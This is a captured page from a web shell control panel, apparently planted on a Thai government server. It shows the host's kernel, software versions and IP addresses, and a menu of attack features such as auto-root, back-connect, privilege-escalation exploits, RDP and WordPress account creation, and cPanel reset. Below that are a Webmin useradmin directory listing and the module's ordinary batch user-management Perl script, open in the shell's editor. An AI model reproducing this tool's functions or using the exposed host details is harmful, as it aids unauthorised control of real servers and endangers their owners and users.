Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
useradmin /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
5.66
KB
-rw-r--r--
acl_security.pl
13.74
KB
-rwxr-xr-x
aix-lib.pl
1.17
KB
-rwxr-xr-x
backup_config.pl
749
B
-rwxr-xr-x
batch_exec.cgi
17.21
KB
-rwxr-xr-x
batch_form.cgi
2.42
KB
-rwxr-xr-x
cgi_args.pl
477
B
-rwxr-xr-x
config-aix
703
B
-rw-r--r--
config-cobalt-linux
710
B
-rw-r--r--
config-coherent-linux
657
B
-rw-r--r--
config-corel-linux
665
B
-rw-r--r--
config-debian-linux
665
B
-rw-r--r--
config-freebsd
684
B
-rw-r--r--
config-generic-linux
677
B
-rw-r--r--
config-gentoo-linux
637
B
-rw-r--r--
config-hpux
579
B
-rw-r--r--
config-irix
757
B
-rw-r--r--
config-macos
581
B
-rw-r--r--
config-mandrake-linux
662
B
-rw-r--r--
config-msc-linux
657
B
-rw-r--r--
config-netbsd
623
B
-rw-r--r--
config-open-linux
687
B
-rw-r--r--
config-openbsd
636
B
-rw-r--r--
config-openmamba-linux
657
B
-rw-r--r--
config-openserver
841
B
-rw-r--r--
config-osf1
579
B
-rw-r--r--
config-pardus-linux
665
B
-rw-r--r--
config-redhat-linux-15.0-ALL
659
B
-rw-r--r--
config-redhat-linux-ALL-14.9
657
B
-rw-r--r--
config-slackware-linux
663
B
-rw-r--r--
config-sol-linux
657
B
-rw-r--r--
config-solaris
631
B
-rw-r--r--
config-suse-linux
677
B
-rw-r--r--
config-suse-linux-9.0-ALL
715
B
-rw-r--r--
config-trustix-linux
657
B
-rw-r--r--
config-turbo-linux
677
B
-rw-r--r--
config-united-linux
677
B
-rw-r--r--
config-unixware
595
B
-rw-r--r--
config.info
4
KB
-rw-r--r--
config.info.bg
4.85
KB
-rw-r--r--
config.info.bg.UTF-8
7.82
KB
-rw-r--r--
config.info.ca
4.75
KB
-rw-r--r--
config.info.ca.UTF-8
4.77
KB
-rw-r--r--
config.info.cz
3.92
KB
-rw-r--r--
config.info.cz.UTF-8
4.21
KB
-rw-r--r--
config.info.da
3.83
KB
-rw-r--r--
config.info.da.UTF-8
3.83
KB
-rw-r--r--
config.info.de
4.83
KB
-rw-r--r--
config.info.de.UTF-8
4.83
KB
-rw-r--r--
config.info.es
4.64
KB
-rw-r--r--
config.info.es.UTF-8
4.64
KB
-rw-r--r--
config.info.fa
6.05
KB
-rw-r--r--
config.info.fr
5.17
KB
-rw-r--r--
config.info.fr.UTF-8
3
KB
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ja_JP.UTF-8
4.96
KB
-rw-r--r--
config.info.ja_JP.euc
3.75
KB
-rw-r--r--
config.info.nl
4.56
KB
-rw-r--r--
config.info.nl.UTF-8
4.56
KB
-rw-r--r--
config.info.no
4.16
KB
-rw-r--r--
config.info.no.UTF-8
4.16
KB
-rw-r--r--
config.info.pl
2.89
KB
-rw-r--r--
config.info.pl.UTF-8
3.01
KB
-rw-r--r--
config.info.pt_BR
4.26
KB
-rw-r--r--
config.info.pt_BR.UTF-8
4.38
KB
-rw-r--r--
config.info.ru.UTF-8
4.87
KB
-rw-r--r--
config.info.ru_RU
3
KB
-rw-r--r--
config.info.ru_RU.UTF-8
4.87
KB
-rw-r--r--
config.info.ru_SU
3.01
KB
-rw-r--r--
config.info.sv
1.1
KB
-rw-r--r--
config.info.sv.UTF-8
1.14
KB
-rw-r--r--
config.info.tr
3.45
KB
-rw-r--r--
config.info.uk_UA
3.01
KB
-rw-r--r--
config.info.uk_UA.UTF-8
4.79
KB
-rw-r--r--
config.info.zh_CN
820
B
-rw-r--r--
config.info.zh_CN.UTF-8
1.01
KB
-rw-r--r--
config.info.zh_TW.Big5
778
B
-rw-r--r--
config.info.zh_TW.UTF-8
983
B
-rw-r--r--
cpan_modules.pl
256
B
-rwxr-xr-x
defaultacl
358
B
-rw-r--r--
delete_group.cgi
2.18
KB
-rwxr-xr-x
delete_user.cgi
4.7
KB
-rwxr-xr-x
edit_group.cgi
4.97
KB
-rwxr-xr-x
edit_user.cgi
18.3
KB
-rwxr-xr-x
export_exec.cgi
2.84
KB
-rwxr-xr-x
export_form.cgi
1.77
KB
-rwxr-xr-x
freebsd-lib.pl
1.47
KB
-rwxr-xr-x
gbatch_exec.cgi
8.09
KB
-rwxr-xr-x
gbatch_form.cgi
1.59
KB
-rwxr-xr-x
gexport_exec.cgi
1.73
KB
-rwxr-xr-x
gexport_form.cgi
1.26
KB
-rwxr-xr-x
help.html
6.79
KB
-rw-r--r--
hpux-lib.pl
1.02
KB
-rwxr-xr-x
index.cgi
7.38
KB
-rwxr-xr-x
irix-lib.pl
1.09
KB
-rwxr-xr-x
linux-lib.pl
4.6
KB
-rwxr-xr-x
list_logins.cgi
1.55
KB
-rwxr-xr-x
list_who.cgi
945
B
-rwxr-xr-x
log_parser.pl
1.68
KB
-rwxr-xr-x
macos-lib.pl
3.15
KB
-rwxr-xr-x
mass_delete_group.cgi
2.41
KB
-rwxr-xr-x
mass_delete_user.cgi
7.65
KB
-rwxr-xr-x
md5-lib.pl
6.47
KB
-rwxr-xr-x
module.info
544
B
-rw-r--r--
module.info.ar
173
B
-rw-r--r--
module.info.ca
117
B
-rw-r--r--
module.info.ca.UTF-8
129
B
-rw-r--r--
module.info.cz
28
B
-rw-r--r--
module.info.cz.UTF-8
36
B
-rw-r--r--
module.info.da
27
B
-rw-r--r--
module.info.da.UTF-8
33
B
-rw-r--r--
module.info.de
133
B
-rw-r--r--
module.info.de.UTF-8
145
B
-rw-r--r--
module.info.es
26
B
-rw-r--r--
module.info.es.UTF-8
32
B
-rw-r--r--
module.info.fr
32
B
-rw-r--r--
module.info.fr.UTF-8
38
B
-rw-r--r--
module.info.hu
34
B
-rw-r--r--
module.info.hu.UTF-8
43
B
-rw-r--r--
module.info.ja_JP.UTF-8
48
B
-rw-r--r--
module.info.ja_JP.euc
36
B
-rw-r--r--
module.info.ko_KR.UTF-8
38
B
-rw-r--r--
module.info.ko_KR.euc
30
B
-rw-r--r--
module.info.ms_MY
130
B
-rw-r--r--
module.info.ms_MY.UTF-8
142
B
-rw-r--r--
module.info.nl
30
B
-rw-r--r--
module.info.nl.UTF-8
36
B
-rw-r--r--
module.info.no
27
B
-rw-r--r--
module.info.no.UTF-8
33
B
-rw-r--r--
module.info.pl
121
B
-rw-r--r--
module.info.pl.UTF-8
138
B
-rw-r--r--
module.info.pt
30
B
-rw-r--r--
module.info.pt.UTF-8
36
B
-rw-r--r--
module.info.pt_BR
29
B
-rw-r--r--
module.info.pt_BR.UTF-8
36
B
-rw-r--r--
module.info.ru.UTF-8
55
B
-rw-r--r--
module.info.ru_RU
33
B
-rw-r--r--
module.info.ru_RU.UTF-8
58
B
-rw-r--r--
module.info.ru_SU
33
B
-rw-r--r--
module.info.sv
30
B
-rw-r--r--
module.info.sv.UTF-8
37
B
-rw-r--r--
module.info.tr
29
B
-rw-r--r--
module.info.zh_CN
22
B
-rw-r--r--
module.info.zh_TW.Big5
29
B
-rw-r--r--
my_group_chooser.cgi
6.9
KB
-rwxr-xr-x
my_user_chooser.cgi
6.56
KB
-rwxr-xr-x
netbsd-lib.pl
1.47
KB
-rwxr-xr-x
openbsd-lib.pl
1.47
KB
-rwxr-xr-x
openserver-lib.pl
1.18
KB
-rwxr-xr-x
osf1-lib.pl
1.01
KB
-rwxr-xr-x
rbac-mapping
190
B
-rw-r--r--
save_group.cgi
4.86
KB
-rwxr-xr-x
save_user.cgi
19.72
KB
-rwxr-xr-x
search_group.cgi
991
B
-rwxr-xr-x
search_user.cgi
1.33
KB
-rwxr-xr-x
solaris-lib.pl
1.78
KB
-rwxr-xr-x
unixware-lib.pl
1.13
KB
-rwxr-xr-x
user-lib.pl
71.2
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : batch_exec.cgi
#!/usr/bin/perl # batch_exec.cgi # Execute create/modify/delete commands in a batch file require './user-lib.pl'; $access{'batch'} || &error($text{'batch_ecannot'}); if ($ENV{'REQUEST_METHOD'} eq 'GET') { &ReadParse(); } else { &ReadParseMime(); } if ($in{'source'} == 0) { $data = $in{'file'}; $data =~ /\S/ || &error($text{'batch_efile'}); } elsif ($in{'source'} == 1) { open(LOCAL, $in{'local'}) || &error($text{'batch_elocal'}); while(<LOCAL>) { $data .= $_; } close(LOCAL); } elsif ($in{'source'} == 2) { $data = $in{'text'}; $data =~ /\S/ || &error($text{'batch_etext'}); } &ui_print_unbuffered_header(undef, $text{'batch_title'}, ""); # Force defaults for save options $in{'makehome'} = 1 if (!$access{'makehome'}); $in{'copy'} = 1 if (!$access{'copy'} && $config{'user_files'} =~ /\S/); $in{'movehome'} = 1 if (!$access{'movehome'}); $in{'chuid'} = 1 if (!$access{'chuid'}); $in{'chgid'} = 1 if (!$access{'chgid'}); # Work out a good base UID for new users &build_user_used(\%used, undef, \%taken); $newuid = int($config{'base_uid'} > $access{'lowuid'} ? $config{'base_uid'} : $access{'lowuid'}); # Work out a good base GID for new groups &build_group_used(\%gused, \%gtaken); if ($config{'new_user_gid'}) { %used = ( %used, %gused ); } $newgid = int($config{'base_gid'} > $access{'lowgid'} ? $config{'base_gid'} : $access{'lowgid'}); @glist = &list_groups(); # Process the file &batch_start() if ($in{'batch'}); &lock_user_files(); $lnum = $created = $modified = $deleted = 0; print "<pre>\n"; $pft = &passfiles_type(); foreach $line (split(/[\r\n]+/, $data)) { $lnum++; $line =~ s/^\s*#.*$//; next if ($line !~ /\S/); local @line = split(/:/, $line, -1); local %user; if ($line[0] eq 'create') { # Creating a new user if ($pft == 5) { # Openserver passwd and short shadow information if (@line != 10) { print &text('batch_elen', $lnum, 10),"\n"; next; } $user{'min'} = $line[8]; $user{'max'} = $line[9]; } elsif ($pft == 4) { # AIX passwd and security information if (@line != 12) { print &text('batch_elen', $lnum, 12),"\n"; next; } $user{'min'} = $line[8]; $user{'max'} = $line[9]; $user{'expire'} = $line[10]; map { $user{$_}++ } split(/\s+/, $line[11]); } elsif ($pft == 2) { # SYSV-style passwd and shadow information if (@line != 13) { print &text('batch_elen', $lnum, 13),"\n"; next; } $user{'min'} = $line[8]; $user{'max'} = $line[9]; $user{'warn'} = $line[10]; $user{'inactive'} = $line[11]; $user{'expire'} = $line[12]; $user{'change'} = $line[2] eq '' ? '' : int(time() / (60*60*24)); } elsif ($pft == 1 || $pft == 6) { # BSD master.passwd information if (@line != 11) { print &text('batch_elen', $lnum, 11),"\n"; next; } $user{'class'} = $line[8]; $user{'change'} = $line[9]; $user{'expire'} = $line[10]; } else { # Classic passwd file information (type 0 and 3) if (@line != 8) { print &text('batch_elen', $lnum, 8),"\n"; next; } } # Make sure all min/max fields are numeric $err = &validate_batch_minmax(\%user, $lnum); if ($err) { print $err,"\n"; next; } # Parse common fields if (!$line[1]) { print &text('batch_eline', $lnum),"\n"; next; } $user{'user'} = $line[1]; $err = &check_username_restrictions($user{'user'}); if ($err) { print &text('batch_echeck', $lnum, $err),"\n"; next; } if ($taken{$user{'user'}}) { print &text('batch_euser', $lnum, $user{'user'}),"\n"; next; } if ($line[3] !~ /^\d+$/) { # make up a UID while($used{$newuid}) { $newuid++; } $user{'uid'} = $newuid; } else { # use the given UID if ($used{$line[3]} && !$access{'umultiple'}) { print &text('batch_ecaccess', $lnum, $text{'usave_euidused2'}),"\n"; next; } $user{'uid'} = $line[3]; } $used{$user{'uid'}}++; if ($line[7] !~ /^\//) { print &text('batch_eshell', $lnum, $line[7]),"\n"; next; } $user{'shell'} = $line[7]; $user{'real'} = $line[5]; local @gids = split(/[ ,]+/, $line[4]); $user{'gid'} = $gids[0]; local $grp = &my_getgrgid($gids[0]); $real_home = undef; if ($access{'autohome'}) { # Assign home dir automatically based on ACL $user{'home'} = &auto_home_dir($access{'home'}, $user{'user'}, $grp); if ($config{'real_base'}) { $real_home = &auto_home_dir( $config{'real_base'}, $user{'user'}, $grp); } } else { if ($line[6] eq '' && $config{'home_base'}) { # Choose home dir automatically based on # module config $user{'home'} = &auto_home_dir( $config{'home_base'}, $user{'user'}, $user{'gid'}); if ($config{'real_base'}) { $real_home = &auto_home_dir( $config{'real_base'}, $user{'user'}, $grp); } } elsif ($line[6] !~ /^\//) { print &text('batch_ehome', $lnum,$line[6]),"\n"; next; } else { # Use given home dir $user{'home'} = $line[6]; } } $real_home ||= $user{'home'}; # Check access control restrictions if (!$access{'ucreate'}) { print &text('batch_ecaccess', $lnum, $text{'usave_ecreate'}); next; } local $ch = &check_user(\%user); if ($ch) { print &text('batch_ecaccess', $lnum, $ch),"\n"; next; } # Work out secondary group membership local @secs; if (@gids > 1) { local $i; for($i=1; $i<@gids; $i++) { local ($group) = grep { $_->{'gid'} eq $gids[$i] } @glist; push(@secs, $group) if ($group); } } # Work out the password if ($in{'crypt'}) { $user{'pass'} = $line[2]; $user{'passmode'} = 2; } elsif ($line[2] eq 'x') { # No login allowed $user{'pass'} = $config{'lock_string'}; $user{'passmode'} = 1; } elsif ($line[2] eq '') { # No password needed $user{'pass'} = ''; $user{'passmode'} = 0; } else { # Normal password $user{'pass'} = &encrypt_password($line[2]); $user{'passmode'} = 3; $user{'plainpass'} = $line[2]; } # Run the before command &set_user_envs(\%user, 'CREATE_USER', $user{'plainpass'}, [ map { $_->{'gid'} } @secs ]); $merr = &making_changes(); &error(&text('usave_emaking', "<tt>$merr</tt>")) if (defined($merr)); if ($user{'gid'} !~ /^\d+$/) { # Need to create a new group for the user if (!$access{'gcreate'}) { print &text('batch_ecaccess', $lnum, $text{'usave_egcreate'}),"\n"; next; } if ($gtaken{$user{'user'}}) { print &text('batch_egtaken', $lnum, $user{'user'}),"\n"; next; } if ($config{'new_user_gid'}) { $newgid = $user{'uid'}; } else { while($gused{$newgid}) { $newgid++; } } local %group; $group{'group'} = $user{'user'}; $user{'gid'} = $group{'gid'} = $newgid; &create_group(\%group); $gused{$group{'gid'}}++; } # Create the user! if ($in{'makehome'} && !-d $user{'home'}) { &create_home_directory(\%user, $real_home); } &create_user(\%user); # Add user to some secondary groups local $group; foreach $group (@secs) { local @mems = split(/,/ , $group->{'members'}); push(@mems, $user{'user'}); $group->{'members'} = join(",", @mems); &modify_group($group, $group); } # All done &made_changes(); # Call other modules, ignoring any failures $error_must_die = 1; eval { &other_modules("useradmin_create_user", \%user) if ($access{'cothers'} == 1 && $in{'others'} || $access{'cothers'} == 0); }; $other_err = $@; $error_must_die = 0; if ($in{'copy'} && $in{'makehome'}) { # Copy files to user's home directory local $groupname = &my_getgrgid($user{'gid'}); local $uf = &get_skel_directory(\%user, $groupname); ©_skel_files($uf, $user{'home'}, $user{'uid'}, $user{'gid'}); } print "<b>",&text('batch_created',$user{'user'}),"</b>\n"; print "<b><i>",&text('batch_eother', $other_err),"</i></b>\n" if ($other_err); $created++; } elsif ($line[0] eq 'delete') { # Deleting an existing user if (@line != 2) { print &text('batch_elen', $lnum, 2),"\n"; next; } local @ulist = &list_users(); local ($user) = grep { $_->{'user'} eq $line[1] } @ulist; if (!$user) { print &text('batch_enouser', $lnum, $line[1]),"\n"; next; } if (!&can_edit_user(\%access, $user)) { print &text('batch_edaccess', $lnum, $text{'udel_euser'}),"\n"; next; } if (!$config{'delete_root'} && $user->{'uid'} <= 10) { print &text('batch_edaccess', $lnum, $text{'udel_eroot'}),"\n"; next; } # Run the before command &set_user_envs($user, 'DELETE_USER', undef, [ &secondary_groups($user->{'user'}) ]); $merr = &making_changes(); &error(&text('usave_emaking', "<tt>$merr</tt>")) if (defined($merr)); # Delete from other modules, ignoring errors $error_must_die = 1; eval { &other_modules("useradmin_delete_user", $user) if ($access{'dothers'} == 1 && $in{'others'} || $access{'dothers'} == 0); }; $other_err = $@; $error_must_die = 0; # Delete the user entry &delete_user($user); # Delete the user from groups foreach $g (&list_groups()) { @mems = split(/,/, $g->{'members'}); $idx = &indexof($user->{'user'}, @mems); if ($idx >= 0) { splice(@mems, $idx, 1); %newg = %$g; $newg{'members'} = join(',', @mems); &modify_group($g, \%newg); } $mygroup = $g if ($g->{'group'} eq $user->{'user'}); } # Delete the user's group if ($mygroup && !$mygroup->{'members'}) { local $another; foreach $ou (&list_users()) { $another++ if ($ou->{'gid'} == $mygroup->{'gid'}); } if (!$another) { &delete_group($mygroup); } } &made_changes(); # Delete his home directory if ($in{'delhome'} && $user->{'home'} && $user->{'home'} !~ /^\/+$/) { &delete_home_directory($user); } print "<b>",&text('batch_deleted',$user->{'user'}),"</b>\n"; print "<b><i>",&text('batch_eother', $other_err),"</i></b>\n" if ($other_err); $deleted++; } elsif ($line[0] eq 'modify') { # Modifying an existing user local $wlen = $pft == 5 ? 11 : $pft == 4 ? 13 : $pft == 2 ? 14 : $pft == 1 || $pft == 6 ? 12 : 9; if (@line != $wlen) { print &text('batch_elen', $lnum, $wlen),"\n"; next; } local @ulist = &list_users(); local ($user) = grep { $_->{'user'} eq $line[1] } @ulist; if (!$user) { print &text('batch_enouser', $lnum, $line[1]),"\n"; next; } %olduser = %user = %$user; $user{'olduser'} = $user->{'user'}; if (!&can_edit_user(\%access, \%user)) { print &text('batch_emaccess', $lnum, $text{'usave_eedit'}),"\n"; next; } # Update supplied fields if ($line[2] ne '') { if (!$access{'urename'}) { print &text('batch_erename', $lnum, $line[1]),"\n"; } $user{'user'} = $line[2]; } if ($in{'crypt'} && $line[3] ne '') { # Changing to pre-encrypted password $user{'pass'} = $line[3]; $user{'passmode'} = 2; } elsif ($line[3] eq 'x') { # No login allowed $user{'pass'} = $config{'lock_string'}; $user{'passmode'} = 1; } elsif ($line[3] ne '') { # Normal password $user{'pass'} = &encrypt_password($line[3]); $user{'passmode'} = 3; $user{'plainpass'} = $line[3]; } else { # No change $user{'passmode'} = 4; } $user{'uid'} = $line[4] if ($line[4] ne ''); $user{'gid'} = $line[5] if ($line[5] ne ''); $user{'real'} = $line[6] if ($line[6] ne ''); $user{'home'} = $line[7] if ($line[7] ne ''); $user{'shell'} = $line[8] if ($line[8] ne ''); if ($access{'peopt'}) { if ($pft == 5) { # Openserver password and short shadow $user{'min'}=$line[9] if ($line[9] ne ''); $user{'max'}=$line[10] if ($line[10] ne ''); $user{'change'}=int(time() / (60*60*24)) if ($line[3] ne ''); } elsif ($pft == 4) { # AIX password and security information $user{'min'}=$line[9] if ($line[9] ne ''); $user{'max'}=$line[10] if ($line[10] ne ''); $user{'expire'}=$line[11] if ($line[11] ne ''); if ($line[12] ne '') { delete($user{'admin'}); delete($user{'admchg'}); delete($user{'nocheck'}); map { $user{$_}++ } split(/\s+/, $line[12]); } $user{'change'}=time() if ($line[3] ne ''); } elsif ($pft == 2) { # SYSV-style passwd and shadow information $user{'min'}=$line[9] if ($line[9] ne ''); $user{'max'}=$line[10] if ($line[10] ne ''); $user{'warn'}=$line[11] if ($line[11] ne ''); $user{'inactive'}=$line[12] if ($line[12] ne ''); $user{'expire'}=$line[13] if ($line[13] ne ''); $user{'change'}=int(time() / (60*60*24)) if ($line[3] ne ''); } elsif ($pft == 1 || $pft == 6) { # BSD master.passwd information $user{'class'}=$line[9] if ($line[9] ne ''); $user{'change'}=$line[10] if ($line[10] ne ''); $user{'expire'}=$line[11] if ($line[11] ne ''); } } # Check access control restrictions local $ch = &check_user(\%user, \%olduser); if ($ch) { print &text('batch_emaccess', $lnum, $ch),"\n"; next; } # Run the before command &set_user_envs(\%user, 'MODIFY_USER', $user{'plainpass'}, [ &secondary_groups($user{'user'}) ]); $merr = &making_changes(); &error(&text('usave_emaking', "<tt>$merr</tt>")) if (defined($merr)); # Move home directory if needed if ($olduser{'home'} ne $user{'home'} && $in{'movehome'} && $user{'home'} ne '/' && $olduser{'home'} ne '/') { if (-d $olduser{'home'} && !-e $user{'home'}) { local $out = &backquote_logged( "mv \"$olduser{'home'}\" ". "\"$user{'home'}\" 2>&1"); if ($?) { &error(&text('batch_emove', $lnum, $out)); } } } # Change UIDs and GIDs if ($olduser{'gid'} != $user{'gid'} && $in{'chgid'}) { if ($in{'chgid'} == 1) { &recursive_change($user{'home'},$olduser{'uid'}, $olduser{'gid'}, -1, $user{'gid'}); } else { &recursive_change("/", $olduser{'uid'}, $olduser{'gid'}, -1, $user{'gid'}); } } if ($olduser{'uid'} != $user{'uid'} && $in{'chuid'}) { if ($in{'chuid'} == 1) { &recursive_change($user{'home'},$olduser{'uid'}, -1, $user{'uid'}, -1); } else { &recursive_change("/", $olduser{'uid'}, -1, $user{'uid'}, -1); } } # Actually modify the user &modify_user(\%olduser, \%user); # If the user has been renamed, update any secondary groups if ($olduser{'user'} ne $user{'user'}) { foreach $group (@glist) { local @mems = split(/,/, $group->{'members'}); local $idx = &indexof($olduser{'user'}, @mems); if ($idx >= 0) { $mems[$idx] = $user{'user'}; $group->{'members'} = join(",", @mems); &modify_group($group, $group); } } } &made_changes(); # Modify in other modules, ignoring errors $error_must_die = 1; eval { &other_modules("useradmin_modify_user", \%user, \%olduser) if ($access{'mothers'} == 1 && $in{'others'} || $access{'mothers'} == 0); }; $error_must_die = 0; $other_err = $@; print "<b>",&text('batch_modified',$olduser{'user'}),"</b>\n"; print "<b><i>",&text('batch_eother', $other_err),"</i></b>\n" if ($other_err); $modified++; } else { print &text('batch_eaction', $lnum, $line[0]),"\n"; next; } } print "</pre>\n"; &batch_end() if ($in{'batch'}); &unlock_user_files(); &webmin_log("batch", undef, $in{'source'} == 1 ? $in{'local'} : undef, { 'created' => $created, 'modified' => $modified, 'deleted' => $deleted, 'lnum' => $lnum } ); &ui_print_footer("batch_form.cgi", $text{'batch_return'}, "", $text{'index_return'}); # check_user(\%user, [\%olduser]) # Check access control restrictions for a user sub check_user { # check if uid is within range if ($access{'lowuid'} && $_[0]->{'uid'} < $access{'lowuid'}) { return &text('usave_elowuid', $access{'lowuid'}); } if ($access{'hiuid'} && $_[0]->{'uid'} > $access{'hiuid'}) { return &text('usave_ehiuid', $access{'hiuid'}); } if ($_[1] && !$access{'uuid'} && $_[1]->{'uid'} != $_[0]->{'uid'}) { return $text{'usave_euuid'}; } # make sure home dir is under the allowed root if (!$access{'autohome'}) { $al = length($access{'home'}); if (length($_[0]->{'home'}) < $al || substr($_[0]->{'home'}, 0, $al) ne $access{'home'}) { return &text('usave_ehomepath', $_[0]->{'home'}); } } # check for invalid shell if ($access{'shells'} ne '*' && &indexof($_[0]->{'shell'}, split(/\s+/, $access{'shells'})) < 0) { return &text('usave_eshell', $_[0]->{'shell'}); } # check for invalid primary group (unless one is dynamically assigned) if ($user{'gid'} ne '') { local $ng = &my_getgrgid($_[0]->{'gid'}); local $ni = &can_use_group(\%access, $ng); if ($_[1]) { if ($_[1]->{'gid'} != $_[0]->{'gid'}) { local $og = &my_getgrgid($_[1]->{'gid'}); local $oi = &can_use_group(\%access, $og); if (!$ni) { return &text('usave_eprimary', $ng); } if (!$oi) { return &text('usave_eprimaryr', $og); } } } else { return &text('usave_eprimary', $ng) if (!$ni); } } return undef; } sub secondary_groups { local @secs; foreach $g (@glist) { @mems = split(/,/, $g->{'members'}); if (&indexof($_[0], @mems) >= 0) { push(@secs, $g->{'gid'}); } } return @secs; } sub validate_batch_minmax { local ($user, $lnum) = @_; foreach my $f ('min', 'max', 'warn', 'inactive', 'expire', 'change') { $user->{$f} =~ /^(\-|\+|)\d*$/ || return &text('batch_e'.$f, $lnum, $user->{$f}); } return undef; }
Close